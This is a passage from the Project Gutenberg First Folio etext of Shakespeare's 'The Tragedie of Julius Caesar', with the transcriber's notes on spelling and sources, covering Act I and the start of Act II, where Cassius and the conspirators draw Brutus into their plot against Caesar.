. . + +So. . .with this caveat. . .we have NOT changed the canon errors, +here is the Project Gutenberg Etext of Shakespeare's The Tragedie +of Julius Caesar. + +Michael S. Hart +Project Gutenberg +Executive Director + + +*** + + +Scanner's Notes: What this is and isn't. This was taken from +a copy of Shakespeare's first folio and it is as close as I can +come in ASCII to the printed text. + +The elongated S's have been changed to small s's and the +conjoined ae have been changed to ae. I have left the spelling, +punctuation, capitalization as close as possible to the +printed text. I have corrected some spelling mistakes (I have put +together a spelling dictionary devised from the spellings of the +Geneva Bible and Shakespeare's First Folio and have unified +spellings according to this template), typo's and expanded +abbreviations as I have come across them. Everything within +brackets [] is what I have added. So if you don't like that +you can delete everything within the brackets if you want a +purer Shakespeare. + +Another thing that you should be aware of is that there are textual +differences between various copies of the first folio. So there may +be differences (other than what I have mentioned above) between +this and other first folio editions. This is due to the printer's +habit of setting the type and running off a number of copies and +then proofing the printed copy and correcting the type and then +continuing the printing run. The proof run wasn't thrown away but +incorporated into the printed copies. This is just the way it is. +The text I have used was a composite of more than 30 different +First Folio editions' best pages. + +If you find any scanning errors, out and out typos, punctuation +errors, or if you disagree with my spelling choices please feel +free to email me those errors. I wish to make this the best +etext possible. My email address for right now are haradda@aol.com +and davidr@inconnect.com. I hope that you enjoy this. + +David Reed + +The Tragedie of Julius Caesar + +Actus Primus. Scoena Prima. + +Enter Flauius, Murellus, and certaine Commoners ouer the Stage. + + Flauius. Hence: home you idle Creatures, get you home: +Is this a Holiday? What, know you not +(Being Mechanicall) you ought not walke +Vpon a labouring day, without the signe +Of your Profession? Speake, what Trade art thou? + Car. Why Sir, a Carpenter + + Mur. Where is thy Leather Apron, and thy Rule? +What dost thou with thy best Apparrell on? +You sir, what Trade are you? + Cobl. Truely Sir, in respect of a fine Workman, I am +but as you would say, a Cobler + + Mur. But what Trade art thou? Answer me directly + + Cob. A Trade Sir, that I hope I may vse, with a safe +Conscience, which is indeed Sir, a Mender of bad soules + + Fla. What Trade thou knaue? Thou naughty knaue, +what Trade? + Cobl. Nay I beseech you Sir, be not out with me: yet +if you be out Sir, I can mend you + + Mur. What mean'st thou by that? Mend mee, thou +sawcy Fellow? + Cob. Why sir, Cobble you + + Fla. Thou art a Cobler, art thou? + Cob. Truly sir, all that I liue by, is with the Aule: I +meddle with no Tradesmans matters, nor womens matters; +but withal I am indeed Sir, a Surgeon to old shooes: +when they are in great danger, I recouer them. As proper +men as euer trod vpon Neats Leather, haue gone vpon +my handy-worke + + Fla. But wherefore art not in thy Shop to day? +Why do'st thou leade these men about the streets? + Cob. Truly sir, to weare out their shooes, to get my +selfe into more worke. But indeede sir, we make Holyday +to see Caesar, and to reioyce in his Triumph + + Mur. Wherefore reioyce? +What Conquest brings he home? +What Tributaries follow him to Rome, +To grace in Captiue bonds his Chariot Wheeles? +You Blockes, you stones, you worse then senslesse things: +O you hard hearts, you cruell men of Rome, +Knew you not Pompey many a time and oft? +Haue you climb'd vp to Walles and Battlements, +To Towres and Windowes? Yea, to Chimney tops, +Your Infants in your Armes, and there haue sate +The liue-long day, with patient expectation, +To see great Pompey passe the streets of Rome: +And when you saw his Chariot but appeare, +Haue you not made an Vniuersall shout, +That Tyber trembled vnderneath her bankes +To heare the replication of your sounds, +Made in her Concaue Shores? +And do you now put on your best attyre? +And do you now cull out a Holyday? +And do you now strew Flowers in his way, +That comes in Triumph ouer Pompeyes blood? +Be gone, +Runne to your houses, fall vpon your knees, +Pray to the Gods to intermit the plague +That needs must light on this Ingratitude + + Fla. Go, go, good Countrymen, and for this fault +Assemble all the poore men of your sort; +Draw them to Tyber bankes, and weepe your teares +Into the Channell, till the lowest streame +Do kisse the most exalted Shores of all. + +Exeunt. all the Commoners. + +See where their basest mettle be not mou'd, +They vanish tongue-tyed in their guiltinesse: +Go you downe that way towards the Capitoll, +This way will I: Disrobe the Images, +If you do finde them deckt with Ceremonies + + Mur. May we do so? +You know it is the Feast of Lupercall + + Fla. It is no matter, let no Images +Be hung with Caesars Trophees: Ile about, +And driue away the Vulgar from the streets; +So do you too, where you perceiue them thicke. +These growing Feathers, pluckt from Caesars wing, +Will make him flye an ordinary pitch, +Who else would soare aboue the view of men, +And keepe vs all in seruile fearefulnesse. + +Exeunt. + +Enter Caesar, Antony for the Course, Calphurnia, Portia, Decius, +Cicero, +Brutus, Cassius, Caska, a Soothsayer: after them Murellus and +Flauius. + + Caes. Calphurnia + + Cask. Peace ho, Caesar speakes + + Caes. Calphurnia + + Calp. Heere my Lord + + Caes. Stand you directly in Antonio's way, +When he doth run his course. Antonio + + Ant. Cæsar, my Lord + + Caes. Forget not in your speed Antonio, +To touch Calphurnia: for our Elders say, +The Barren touched in this holy chace, +Shake off their sterrile curse + + Ant. I shall remember, +When Caesar sayes, Do this; it is perform'd + + Caes. Set on, and leaue no Ceremony out + + Sooth. Caesar + + Caes. Ha? Who calles? + Cask. Bid euery noyse be still: peace yet againe + + Caes. Who is it in the presse, that calles on me? +I heare a Tongue shriller then all the Musicke +Cry, Caesar: Speake, Caesar is turn'd to heare + + Sooth. Beware the Ides of March + + Caes. What man is that? + Br. A Sooth-sayer bids you beware the Ides of March + Caes. Set him before me, let me see his face + + Cassi. Fellow, come from the throng, look vpon Caesar + + Caes. What sayst thou to me now? Speak once againe, + Sooth. Beware the Ides of March + + Caes. He is a Dreamer, let vs leaue him: Passe. + +Sennet + +Exeunt. Manet Brut. & Cass. + + Cassi. Will you go see the order of the course? + Brut. Not I + + Cassi. I pray you do + + Brut. I am not Gamesom: I do lacke some part +Of that quicke Spirit that is in Antony: +Let me not hinder Cassius your desires; +Ile leaue you + + Cassi. Brutus, I do obserue you now of late: +I haue not from your eyes, that gentlenesse +And shew of Loue, as I was wont to haue: +You beare too stubborne, and too strange a hand +Ouer your Friend, that loues you + + Bru. Cassius, +Be not deceiu'd: If I haue veyl'd my looke, +I turne the trouble of my Countenance +Meerely vpon my selfe. Vexed I am +Of late, with passions of some difference, +Conceptions onely proper to my selfe, +Which giue some soyle (perhaps) to my Behauiours: +But let not therefore my good Friends be greeu'd +(Among which number Cassius be you one) +Nor construe any further my neglect, +Then that poore Brutus with himselfe at warre, +Forgets the shewes of Loue to other men + + Cassi. Then Brutus, I haue much mistook your passion, +By meanes whereof, this Brest of mine hath buried +Thoughts of great value, worthy Cogitations. +Tell me good Brutus, Can you see your face? + Brutus. No Cassius: +For the eye sees not it selfe but by reflection, +By some other things + + Cassius. 'Tis iust, +And it is very much lamented Brutus, +That you haue no such Mirrors, as will turne +Your hidden worthinesse into your eye, +That you might see your shadow: +I haue heard, +Where many of the best respect in Rome, +(Except immortall Caesar) speaking of Brutus, +And groaning vnderneath this Ages yoake, +Haue wish'd, that Noble Brutus had his eyes + + Bru. Into what dangers, would you +Leade me Cassius? +That you would haue me seeke into my selfe, +For that which is not in me? + Cas. Therefore good Brutus, be prepar'd to heare: +And since you know, you cannot see your selfe +So well as by Reflection; I your Glasse, +Will modestly discouer to your selfe +That of your selfe, which you yet know not of. +And be not iealous on me, gentle Brutus: +Were I a common Laughter, or did vse +To stale with ordinary Oathes my loue +To euery new Protester: if you know, +That I do fawne on men, and hugge them hard, +And after scandall them: Or if you know, +That I professe my selfe in Banquetting +To all the Rout, then hold me dangerous. + +Flourish, and Shout. + + Bru. What meanes this Showting? +I do feare, the People choose Caesar +For their King + + Cassi. I, do you feare it? +Then must I thinke you would not haue it so + + Bru. I would not Cassius, yet I loue him well: +But wherefore do you hold me heere so long? +What is it, that you would impart to me? +If it be ought toward the generall good, +Set Honor in one eye, and Death i'th other, +And I will looke on both indifferently: +For let the Gods so speed mee, as I loue +The name of Honor, more then I feare death + + Cassi. I know that vertue to be in you Brutus, +As well as I do know your outward fauour. +Well, Honor is the subiect of my Story: +I cannot tell, what you and other men +Thinke of this life: But for my single selfe, +I had as liefe not be, as liue to be +In awe of such a Thing, as I my selfe. +I was borne free as Caesar, so were you, +We both haue fed as well, and we can both +Endure the Winters cold, as well as hee. +For once, vpon a Rawe and Gustie day, +The troubled Tyber, chafing with her Shores, +Caesar saide to me, Dar'st thou Cassius now +Leape in with me into this angry Flood, +And swim to yonder Point? Vpon the word, +Accoutred as I was, I plunged in, +And bad him follow: so indeed he did. +The Torrent roar'd, and we did buffet it +With lusty Sinewes, throwing it aside, +And stemming it with hearts of Controuersie. +But ere we could arriue the Point propos'd, +Caesar cride, Helpe me Cassius, or I sinke. +I (as Aeneas, our great Ancestor, +Did from the Flames of Troy, vpon his shoulder +The old Anchyses beare) so, from the waues of Tyber +Did I the tyred Caesar: And this Man, +Is now become a God, and Cassius is +A wretched Creature, and must bend his body, +If Caesar carelesly but nod on him. +He had a Feauer when he was in Spaine, +And when the Fit was on him, I did marke +How he did shake: Tis true, this God did shake, +His Coward lippes did from their colour flye, +And that same Eye, whose bend doth awe the World, +Did loose his Lustre: I did heare him grone: +I, and that Tongue of his, that bad the Romans +Marke him, and write his Speeches in their Bookes, +Alas, it cried, Giue me some drinke Titinius, +As a sicke Girle: Ye Gods, it doth amaze me, +A man of such a feeble temper should +So get the start of the Maiesticke world, +And beare the Palme alone. + +Shout. Flourish. + + Bru. Another generall shout? +I do beleeue, that these applauses are +For some new Honors, that are heap'd on Caesar + + Cassi. Why man, he doth bestride the narrow world +Like a Colossus, and we petty men +Walke vnder his huge legges, and peepe about +To finde our selues dishonourable Graues. +Men at sometime, are Masters of their Fates. +The fault (deere Brutus) is not in our Starres, +But in our Selues, that we are vnderlings. +Brutus and Caesar: What should be in that Caesar? +Why should that name be sounded more then yours +Write them together: Yours, is as faire a Name: +Sound them, it doth become the mouth aswell: +Weigh them, it is as heauy: Coniure with 'em, +Brutus will start a Spirit as soone as Caesar. +Now in the names of all the Gods at once, +Vpon what meate doth this our Caesar feede, +That he is growne so great? Age, thou art sham'd. +Rome, thou hast lost the breed of Noble Bloods. +When went there by an Age, since the great Flood, +But it was fam'd with more then with one man? +When could they say (till now) that talk'd of Rome, +That her wide Walkes incompast but one man? +Now is it Rome indeed, and Roome enough +When there is in it but one onely man. +O! you and I, haue heard our Fathers say, +There was a Brutus once, that would haue brook'd +Th' eternall Diuell to keepe his State in Rome, +As easily as a King + + Bru. That you do loue me, I am nothing iealous: +What you would worke me too, I haue some ayme: +How I haue thought of this, and of these times +I shall recount heereafter. For this present, +I would not so (with loue I might intreat you) +Be any further moou'd: What you haue said, +I will consider: what you haue to say +I will with patience heare, and finde a time +Both meete to heare, and answer such high things. +Till then, my Noble Friend, chew vpon this: +Brutus had rather be a Villager, +Then to repute himselfe a Sonne of Rome +Vnder these hard Conditions, as this time +Is like to lay vpon vs + + Cassi. I am glad that my weake words +Haue strucke but thus much shew of fire from Brutus, +Enter Caesar and his Traine. + + Bru. The Games are done, +And Caesar is returning + + Cassi. As they passe by, +Plucke Caska by the Sleeue, +And he will (after his sowre fashion) tell you +What hath proceeded worthy note to day + + Bru. I will do so: but looke you Cassius, +The angry spot doth glow on Caesars brow, +And all the rest, looke like a chidden Traine; +Calphurnia's Cheeke is pale, and Cicero +Lookes with such Ferret, and such fiery eyes +As we haue seene him in the Capitoll +Being crost in Conference, by some Senators + + Cassi. Caska will tell vs what the matter is + + Caes Antonio + + Ant. Caesar + + Caes Let me haue men about me, that are fat, +Sleeke-headed men, and such as sleepe a-nights: +Yond Cassius has a leane and hungry looke, +He thinkes too much: such men are dangerous + + Ant. Feare him not Caesar, he's not dangerous, +He is a Noble Roman, and well giuen + + Caes Would he were fatter; But I feare him not: +Yet if my name were lyable to feare, +I do not know the man I should auoyd +So soone as that spare Cassius. He reades much, +He is a great Obseruer, and he lookes +Quite through the Deeds of men. He loues no Playes, +As thou dost Antony: he heares no Musicke; +Seldome he smiles, and smiles in such a sort +As if he mock'd himselfe, and scorn'd his spirit +That could be mou'd to smile at any thing. +Such men as he, be neuer at hearts ease, +Whiles they behold a greater then themselues, +And therefore are they very dangerous. +I rather tell thee what is to be fear'd, +Then what I feare: for alwayes I am Caesar. +Come on my right hand, for this eare is deafe, +And tell me truely, what thou think'st of him. + +Sennit. + +Exeunt. Caesar and his Traine. + + Cask. You pul'd me by the cloake, would you speake +with me? + Bru. I Caska, tell vs what hath chanc'd to day +That Caesar lookes so sad + + Cask. Why you were with him, were you not? + Bru. I should not then aske Caska what had chanc'd + + Cask. Why there was a Crowne offer'd him; & being +offer'd him, he put it by with the backe of his hand thus, +and then the people fell a shouting + + Bru. What was the second noyse for? + Cask. Why for that too + + Cassi. They shouted thrice: what was the last cry for? + Cask. Why for that too + + Bru. Was the Crowne offer'd him thrice? + Cask. I marry was't, and hee put it by thrice, euerie +time gentler then other; and at euery putting by, mine +honest Neighbors showted + + Cassi. Who offer'd him the Crowne? + Cask. Why Antony + + Bru. Tell vs the manner of it, gentle Caska + + Caska. I can as well bee hang'd as tell the manner of +it: It was meere Foolerie, I did not marke it. I sawe +Marke Antony offer him a Crowne, yet 'twas not a +Crowne neyther, 'twas one of these Coronets: and as I +told you, hee put it by once: but for all that, to my thinking, +he would faine haue had it. Then hee offered it to +him againe: then hee put it by againe: but to my thinking, +he was very loath to lay his fingers off it. And then +he offered it the third time; hee put it the third time by, +and still as hee refus'd it, the rabblement howted, and +clapp'd their chopt hands, and threw vppe their sweatie +Night-cappes, and vttered such a deale of stinking +breath, because Caesar refus'd the Crowne, that it had +(almost) choaked Caesar: for hee swoonded, and fell +downe at it: And for mine owne part, I durst not laugh, +for feare of opening my Lippes, and receyuing the bad +Ayre + + Cassi. But soft I pray you: what, did Caesar swound? + Cask. He fell downe in the Market-place, and foam'd +at mouth, and was speechlesse + + Brut. 'Tis very like he hath the Falling sicknesse + + Cassi. No, Caesar hath it not: but you, and I, +And honest Caska, we haue the Falling sicknesse + + Cask. I know not what you meane by that, but I am +sure Caesar fell downe. If the tag-ragge people did not +clap him, and hisse him, according as he pleas'd, and displeas'd +them, as they vse to doe the Players in the Theatre, +I am no true man + + Brut. What said he, when he came vnto himselfe? + Cask. Marry, before he fell downe, when he perceiu'd +the common Heard was glad he refus'd the Crowne, he +pluckt me ope his Doublet, and offer'd them his Throat +to cut: and I had beene a man of any Occupation, if I +would not haue taken him at a word, I would I might +goe to Hell among the Rogues, and so hee fell. When +he came to himselfe againe, hee said, If hee had done, or +said any thing amisse, he desir'd their Worships to thinke +it was his infirmitie. Three or foure Wenches where I +stood, cryed, Alasse good Soule, and forgaue him with +all their hearts: But there's no heed to be taken of them; +if Caesar had stab'd their Mothers, they would haue done +no lesse + + Brut. And after that, he came thus sad away + + Cask. I + + Cassi. Did Cicero say any thing? + Cask. I, he spoke Greeke + + Cassi. To what effect? + Cask. Nay, and I tell you that, Ile ne're looke you +i'th' face againe. But those that vnderstood him, smil'd +at one another, and shooke their heads: but for mine +owne part, it was Greeke to me. I could tell you more +newes too: Murrellus and Flauius, for pulling Scarffes +off Caesars Images, are put to silence. Fare you well. +There was more Foolerie yet, if I could remember +it + + Cassi. Will you suppe with me to Night, Caska? + Cask. No, I am promis'd forth + + Cassi. Will you Dine with me to morrow? + Cask. I, if I be aliue, and your minde hold, and your +Dinner worth the eating + + Cassi. Good, I will expect you + + Cask. Doe so: farewell both. +Enter. + + Brut. What a blunt fellow is this growne to be? +He was quick Mettle, when he went to Schoole + + Cassi. So is he now, in execution +Of any bold, or Noble Enterprize, +How-euer he puts on this tardie forme: +This Rudenesse is a Sawce to his good Wit, +Which giues men stomacke to disgest his words +With better Appetite + + Brut. And so it is: +For this time I will leaue you: +To morrow, if you please to speake with me, +I will come home to you: or if you will, +Come home to me, and I will wait for you + + Cassi. I will doe so: till then, thinke of the World. +Exit Brutus. + +Well Brutus, thou art Noble: yet I see, +Thy Honorable Mettle may be wrought +From that it is dispos'd: therefore it is meet, +That Noble mindes keepe euer with their likes: +For who so firme, that cannot be seduc'd? +Caesar doth beare me hard, but he loues Brutus. +If I were Brutus now, and he were Cassius, +He should not humor me. I will this Night, +In seuerall Hands, in at his Windowes throw, +As if they came from seuerall Citizens, +Writings, all tending to the great opinion +That Rome holds of his Name: wherein obscurely +Caesars Ambition shall be glanced at. +And after this, let Caesar seat him sure, +For wee will shake him, or worse dayes endure. +Enter. + +Thunder, and Lightning. Enter Caska, and Cicero. + + Cic. Good euen, Caska: brought you Caesar home? +Why are you breathlesse, and why stare you so? + Cask. Are not you mou'd, when all the sway of Earth +Shakes, like a thing vnfirme? O Cicero, +I haue seene Tempests, when the scolding Winds +Haue riu'd the knottie Oakes, and I haue seene +Th' ambitious Ocean swell, and rage, and foame, +To be exalted with the threatning Clouds: +But neuer till to Night, neuer till now, +Did I goe through a Tempest-dropping-fire. +Eyther there is a Ciuill strife in Heauen, +Or else the World, too sawcie with the Gods, +Incenses them to send destruction + + Cic. Why, saw you any thing more wonderfull? + Cask. A common slaue, you know him well by sight, +Held vp his left Hand, which did flame and burne +Like twentie Torches ioyn'd; and yet his Hand, +Not sensible of fire, remain'd vnscorch'd. +Besides, I ha' not since put vp my Sword, +Against the Capitoll I met a Lyon, +Who glaz'd vpon me, and went surly by, +Without annoying me. And there were drawne +Vpon a heape, a hundred gastly Women, +Transformed with their feare, who swore, they saw +Men, all in fire, walke vp and downe the streetes. +And yesterday, the Bird of Night did sit, +Euen at Noone-day, vpon the Market place, +Howting, and shreeking. When these Prodigies +Doe so conioyntly meet, let not men say, +These are their Reasons, they are Naturall: +For I beleeue, they are portentous things +Vnto the Clymate, that they point vpon + + Cic. Indeed, it is a strange disposed time: +But men may construe things after their fashion, +Cleane from the purpose of the things themselues. +Comes Caesar to the Capitoll to morrow? + Cask. He doth: for he did bid Antonio +Send word to you, he would be there to morrow + + Cic. Good-night then, Caska: +This disturbed Skie is not to walke in + + Cask. Farewell Cicero. + +Exit Cicero. + +Enter Cassius. + + Cassi. Who's there? + Cask. A Romane + + Cassi. Caska, by your Voyce + + Cask. Your Eare is good. +Cassius, what Night is this? + Cassi. A very pleasing Night to honest men + + Cask. Who euer knew the Heauens menace so? + Cassi. Those that haue knowne the Earth so full of +faults. +For my part, I haue walk'd about the streets, +Submitting me vnto the perillous Night; +And thus vnbraced, Caska, as you see, +Haue bar'd my Bosome to the Thunder-stone: +And when the crosse blew Lightning seem'd to open +The Brest of Heauen, I did present my selfe +Euen in the ayme, and very flash of it + + Cask. But wherefore did you so much tempt the Heauens? +It is the part of men, to feare and tremble, +When the most mightie Gods, by tokens send +Such dreadfull Heraulds, to astonish vs + + Cassi. You are dull, Caska: +And those sparkes of Life, that should be in a Roman, +You doe want, or else you vse not. +You looke pale, and gaze, and put on feare, +And cast your selfe in wonder, +To see the strange impatience of the Heauens: +But if you would consider the true cause, +Why all these Fires, why all these gliding Ghosts, +Why Birds and Beasts, from qualitie and kinde, +Why Old men, Fooles, and Children calculate, +Why all these things change from their Ordinance, +Their Natures, and pre-formed Faculties, +To monstrous qualitie; why you shall finde, +That Heauen hath infus'd them with these Spirits, +To make them Instruments of feare, and warning, +Vnto some monstrous State. +Now could I (Caska) name to thee a man, +Most like this dreadfull Night, +That Thunders, Lightens, opens Graues, and roares, +As doth the Lyon in the Capitoll: +A man no mightier then thy selfe, or me, +In personall action; yet prodigious growne, +And fearefull, as these strange eruptions are + + Cask. 'Tis Caesar that you meane: +Is it not, Cassius? + Cassi. Let it be who it is: for Romans now +Haue Thewes, and Limbes, like to their Ancestors; +But woe the while, our Fathers mindes are dead, +And we are gouern'd with our Mothers spirits, +Our yoake, and sufferance, shew vs Womanish + + Cask. Indeed, they say, the Senators to morrow +Meane to establish Caesar as a King: +And he shall weare his Crowne by Sea, and Land, +In euery place, saue here in Italy + + Cassi. I know where I will weare this Dagger then; +Cassius from Bondage will deliuer Cassius: +Therein, yee Gods, you make the weake most strong; +Therein, yee Gods, you Tyrants doe defeat. +Nor Stonie Tower, nor Walls of beaten Brasse, +Nor ayre-lesse Dungeon, nor strong Linkes of Iron, +Can be retentiue to the strength of spirit: +But Life being wearie of these worldly Barres, +Neuer lacks power to dismisse it selfe. +If I know this, know all the World besides, +That part of Tyrannie that I doe beare, +I can shake off at pleasure. + +Thunder still. + + Cask. So can I: +So euery Bond-man in his owne hand beares +The power to cancell his Captiuitie + + Cassi. And why should Cæsar be a Tyrant then? +Poore man, I know he would not be a Wolfe, +But that he sees the Romans are but Sheepe: +He were no Lyon, were not Romans Hindes. +Those that with haste will make a mightie fire, +Begin it with weake Strawes. What trash is Rome? +What Rubbish, and what Offall? when it serues +For the base matter, to illuminate +So vile a thing as Caesar. But oh Griefe, +Where hast thou led me? I (perhaps) speake this +Before a willing Bond-man: then I know +My answere must be made. But I am arm'd, +And dangers are to me indifferent + + Cask. You speake to Caska, and to such a man, +That is no flearing Tell-tale. Hold, my Hand: +Be factious for redresse of all these Griefes, +And I will set this foot of mine as farre, +As who goes farthest + + Cassi. There's a Bargaine made. +Now know you, Caska, I haue mou'd already +Some certaine of the Noblest minded Romans +To vnder-goe, with me, an Enterprize, +Of Honorable dangerous consequence; +And I doe know by this, they stay for me +In Pompeyes Porch: for now this fearefull Night, +There is no stirre, or walking in the streetes; +And the Complexion of the Element +Is Fauors, like the Worke we haue in hand, +Most bloodie, fierie, and most terrible. +Enter Cinna. + + Caska. Stand close a while, for heere comes one in +haste + + Cassi. 'Tis Cinna, I doe know him by his Gate, +He is a friend. Cinna, where haste you so? + Cinna. To finde out you: Who's that, Metellus +Cymber? + Cassi. No, it is Caska, one incorporate +To our Attempts. Am I not stay'd for, Cinna? + Cinna. I am glad on't. +What a fearefull Night is this? +There's two or three of vs haue seene strange sights + + Cassi. Am I not stay'd for? tell me + + Cinna. Yes, you are. O Cassius, +If you could but winne the Noble Brutus +To our party- + Cassi. Be you content. Good Cinna, take this Paper, +And looke you lay it in the Pretors Chayre, +Where Brutus may but finde it: and throw this +In at his Window; set this vp with Waxe +Vpon old Brutus Statue: all this done, +Repaire to Pompeyes Porch, where you shall finde vs. +Is Decius Brutus and Trebonius there? + Cinna. All, but Metellus Cymber, and hee's gone +To seeke you at your house. Well, I will hie, +And so bestow these Papers as you bad me + + Cassi. That done, repayre to Pompeyes Theater. + +Exit Cinna. + +Come Caska, you and I will yet, ere day, +See Brutus at his house: three parts of him +Is ours alreadie, and the man entire +Vpon the next encounter, yeelds him ours + + Cask. O, he sits high in all the Peoples hearts: +And that which would appeare Offence in vs, +His Countenance, like richest Alchymie, +Will change to Vertue, and to Worthinesse + + Cassi. Him, and his worth, and our great need of him, +You haue right well conceited: let vs goe, +For it is after Mid-night, and ere day, +We will awake him, and be sure of him. + +Exeunt. + + +Actus Secundus. + +Enter Brutus in his Orchard. + + Brut. What Lucius, hoe? +I cannot, by the progresse of the Starres, +Giue guesse how neere to day- Lucius, I say? +I would it were my fault to sleepe so soundly. +When Lucius, when? awake, I say: what Lucius? +Enter Lucius. + + Luc. Call'd you, my Lord? + Brut. Get me a Tapor in my Study, Lucius: +When it is lighted, come and call me here + + Luc. I will, my Lord. +Enter. + + Brut. It must be by his death: and for my part, +I know no personall cause, to spurne at him, +But for the generall. He would be crown'd: +How that might change his nature, there's the question? +It is the bright day, that brings forth the Adder, +And that craues warie walking: Crowne him that, +And then I graunt we put a Sting in him, +That at his will he may doe danger with. +Th' abuse of Greatnesse, is, when it dis-ioynes +Remorse from Power: And to speake truth of Caesar, +I haue not knowne, when his Affections sway'd +More then his Reason. But 'tis a common proofe, +That Lowlynesse is young Ambitions Ladder, +Whereto the Climber vpward turnes his Face: +But when he once attaines the vpmost Round, +He then vnto the Ladder turnes his Backe, +Lookes in the Clouds, scorning the base degrees +By which he did ascend: so Caesar may; +Then least he may, preuent. And since the Quarrell +Will beare no colour, for the thing he is, +Fashion it thus; that what he is, augmented, +Would runne to these, and these extremities: +And therefore thinke him as a Serpents egge, +Which hatch'd, would as his kinde grow mischieuous; +And kill him in the shell. +Enter Lucius. + + Luc. The Taper burneth in your Closet, Sir: +Searching the Window for a Flint, I found +This Paper, thus seal'd vp, and I am sure +It did not lye there when I went to Bed. + +Giues him the Letter. + + Brut. Get you to Bed againe, it is not day: +Is not to morrow (Boy) the first of March? + Luc. I know not, Sir + + Brut. Looke in the Calender, and bring me word + + Luc. I will, Sir. +Enter. + + Brut. The exhalations, whizzing in the ayre, +Giue so much light, that I may reade by them. + +Opens the Letter, and reades. + +Brutus thou sleep'st; awake, and see thy selfe: +Shall Rome, &c. speake, strike, redresse. +Brutus, thou sleep'st: awake. +Such instigations haue beene often dropt, +Where I haue tooke them vp: +Shall Rome, &c. Thus must I piece it out: +Shall Rome stand vnder one mans awe? What Rome? +My Ancestors did from the streetes of Rome +The Tarquin driue, when he was call'd a King. +Speake, strike, redresse. Am I entreated +To speake, and strike? O Rome, I make thee promise, +If the redresse will follow, thou receiuest +Thy full Petition at the hand of Brutus. +Enter Lucius. + + Luc. Sir, March is wasted fifteene dayes. + +Knocke within. + + Brut. 'Tis good. Go to the Gate, some body knocks: +Since Cassius first did whet me against Caesar, +I haue not slept. +Betweene the acting of a dreadfull thing, +And the first motion, all the Interim is +Like a Phantasma, or a hideous Dreame: +The Genius, and the mortall Instruments +Are then in councell; and the state of a man, +Like to a little Kingdome, suffers then +The nature of an Insurrection. +Enter Lucius. + + Luc. Sir, 'tis your Brother Cassius at the Doore, +Who doth desire to see you + + Brut. Is he alone? + Luc. No, Sir, there are moe with him + + Brut. Doe you know them? + Luc. No, Sir, their Hats are pluckt about their Eares, +And halfe their Faces buried in their Cloakes, +That by no meanes I may discouer them, +By any marke of fauour + + Brut. Let 'em enter: +They are the Faction. O Conspiracie, +Sham'st thou to shew thy dang'rous Brow by Night, +When euills are most free? O then, by day +Where wilt thou finde a Cauerne darke enough, +To maske thy monstrous Visage? Seek none Conspiracie, +Hide it in Smiles, and Affabilitie: +For if thou path thy natiue semblance on, +Not Erebus it selfe were dimme enough, +To hide thee from preuention. +Enter the Conspirators, Cassius, Caska, Decius, Cinna, Metellus, +and +Trebonius. + + Cass. I thinke we are too bold vpon your Rest: +Good morrow Brutus, doe we trouble you? + Brut. I haue beene vp this howre, awake all Night: +Know I these men, that come along with you? + Cass. Yes, euery man of them; and no man here +But honors you: and euery one doth wish, +You had but that opinion of your selfe, +Which euery Noble Roman beares of you. +This is Trebonius + + Brut. He is welcome hither + + Cass. This, Decius Brutus + + Brut. He is welcome too + + Cass. This, Caska; this, Cinna; and this, Metellus +Cymber + + Brut. They are all welcome. +What watchfull Cares doe interpose themselues +Betwixt your Eyes, and Night? + Cass. Shall I entreat a word? + +They whisper. + + Decius. Here lyes the East: doth not the Day breake +heere? + Cask. No + + Cin. O pardon, Sir, it doth; and yon grey Lines, +That fret the Clouds, are Messengers of Day + + Cask. You shall confesse, that you are both deceiu'd: +Heere, as I point my Sword, the Sunne arises, +Which is a great way growing on the South, +Weighing the youthfull Season of the yeare. +Some two moneths hence, vp higher toward the North +He first presents his fire, and the high East +Stands as the Capitoll, directly heere + + Bru. Giue me your hands all ouer, one by one + + Cas. And let vs sweare our Resolution + + Brut. No, not an Oath: if not the Face of men, +The sufferance of our Soules, the times Abuse; +If these be Motiues weake, breake off betimes, +And euery man hence, to his idle bed: +So let high-sighted-Tyranny range on, +Till each man drop by Lottery. But if these +(As I am sure they do) beare fire enough +To kindle Cowards, and to steele with valour +The melting Spirits of women. Then Countrymen, +What neede we any spurre, but our owne cause +To pricke vs to redresse? What other Bond, +Then secret Romans, that haue spoke the word, +And will not palter? And what other Oath, +Then Honesty to Honesty ingag'd, +That this shall be, or we will fall for it. +Sweare Priests and Cowards, and men Cautelous +Old feeble Carrions, and such suffering Soules +That welcome wrongs: Vnto bad causes, sweare +Such Creatures as men doubt; but do not staine +The euen vertue of our Enterprize, +Nor th' insuppressiue Mettle of our Spirits, +To thinke, that or our Cause, or our Performance +Did neede an Oath. When euery drop of blood +That euery Roman beares, and Nobly beares +Is guilty of a seuerall Bastardie, +If he do breake the smallest Particle +Of any promise that hath past from him + + Cas. But what of Cicero? Shall we sound him? +I thinke he will stand very strong with vs + + Cask. Let vs not leaue him out + + Cyn. No, by no meanes + + Metel. O let vs haue him, for his Siluer haires +Will purchase vs a good opinion: +And buy mens voyces, to commend our deeds: +It shall be sayd, his iudgement rul'd our hands, +Our youths, and wildenesse, shall no whit appeare, +But all be buried in his Grauity + + Bru. O name him not; let vs not breake with him, +For he will neuer follow any thing +That other men begin + + Cas. Then leaue him out + + Cask. Indeed, he is not fit + + Decius. Shall no man else be toucht, but onely Caesar? + Cas. Decius well vrg'd: I thinke it is not meet, +Marke Antony, so well belou'd of Caesar, +Should out-liue Caesar, we shall finde of him +A shrew'd Contriuer. And you know, his meanes +If he improue them, may well stretch so farre +As to annoy vs all: which to preuent, +Let Antony and Caesar fall together + + Bru. Our course will seeme too bloody, Caius Cassius, +To cut the Head off, and then hacke the Limbes: +Like Wrath in death, and Enuy afterwards: +For Antony, is but a Limbe of Caesar. +Let's be Sacrificers, but not Butchers Caius: +We all stand vp against the spirit of Caesar, +And in the Spirit of men, there is no blood: +O that we then could come by Caesars Spirit, +And not dismember Caesar! But (alas) +Caesar must bleed for it. And gentle Friends, +Let's kill him Boldly, but not Wrathfully: +Let's carue him, as a Dish fit for the Gods, +Not hew him as a Carkasse fit for Hounds: +And let our Hearts, as subtle Masters do, +Stirre vp their Seruants to an acte of Rage, +And after seeme to chide 'em. This shall make +Our purpose Necessary, and not Enuious. +Which so appearing to the common eyes, +We shall be call'd Purgers, not Murderers. +And for Marke Antony, thinke not of him: +For he can do no more then Caesars Arme, +When Caesars head is off + + Cas. Yet I feare him, +For in the ingrafted loue he beares to Caesar + + Bru. Alas, good Cassius, do not thinke of him: +If he loue Caesar, all that he can do +Is to himselfe; take thought, and dye for Caesar, +And that were much he should: for he is giuen +To sports, to wildenesse, and much company + + Treb. There is no feare in him; let him not dye, +For he will liue, and laugh at this heereafter. + +Clocke 